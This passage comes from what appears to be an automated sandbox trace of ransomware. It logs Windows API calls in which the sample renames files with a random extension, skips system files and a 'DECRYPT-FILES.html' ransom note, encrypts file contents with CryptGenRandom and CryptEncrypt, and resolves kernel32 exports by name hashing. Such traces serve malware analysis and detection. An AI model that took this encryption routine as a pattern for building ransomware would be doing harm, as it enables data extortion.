returned="CreateThreadpoolCleanupGroup" [0122.891] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0122.891] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0122.891] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0122.891] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0122.891] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0122.891] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0122.891] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0122.892] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\eula.rtf.6PpiPpO") returned 43 [0122.892] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.6PpiPpO" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.6ppippo"), dwFlags=0x0) returned 1 [0122.893] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.893] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.893] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.894] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0122.894] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0122.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\") returned 27 [0122.894] lstrlenW (lpString="LocalizedData.xml") returned 17 [0122.894] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1037\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0122.894] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" [0122.894] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0122.895] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=72076) returned 1 [0122.895] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0122.896] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0123.059] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0123.059] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0123.059] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0123.060] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0123.060] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0123.064] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.065] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0123.065] CloseHandle (hObject=0x5f8) returned 1 [0123.065] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.065] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0123.066] CloseHandle (hObject=0x0) returned 0 [0123.066] CloseHandle (hObject=0x5f4) returned 1 [0123.068] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.068] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.068] GetTickCount () returned 0x342e6 [0123.068] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0123.069] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0123.069] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0123.069] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0123.069] lstrlenA (lpString="kernel32.dll") returned 12 [0123.069] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0123.069] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0123.069] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0123.069] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0123.069] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0123.069] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0123.069] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0123.069] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0123.069] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0123.069] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0123.069] lstrlenA (lpString="ADDATOMA") returned 8 [0123.069] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0123.069] lstrlenA (lpString="ADDATOMW") returned 8 [0123.069] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0123.070] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0123.070] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0123.070] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0123.070] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0123.070] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0123.070] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0123.070] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0123.070] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0123.070] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0123.070] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0123.070] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0123.070] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0123.070] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0123.070] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0123.070] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0123.070] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0123.070] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0123.070] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0123.070] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0123.070] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0123.070] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0123.070] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0123.071] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0123.071] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0123.071] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0123.071] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0123.071] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0123.071] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0123.071] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0123.071] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0123.071] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0123.071] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0123.071] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0123.071] lstrlenA (lpString="BACKUPREAD") returned 10 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0123.071] lstrlenA (lpString="BACKUPSEEK") returned 10 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0123.071] lstrlenA (lpString="BACKUPWRITE") returned 11 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0123.071] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0123.071] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0123.071] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0123.071] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0123.071] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0123.071] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0123.071] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0123.071] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0123.072] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0123.072] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0123.072] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0123.072] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0123.072] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0123.072] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0123.072] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0123.072] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0123.072] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0123.072] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0123.072] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0123.072] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0123.072] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0123.072] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0123.072] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0123.072] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0123.072] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0123.072] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0123.072] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0123.072] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0123.072] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0123.072] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0123.073] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0123.073] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0123.073] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0123.073] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0123.073] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0123.073] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0123.073] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0123.073] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0123.073] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0123.073] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0123.073] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0123.073] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0123.073] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0123.073] lstrcpyA (in: 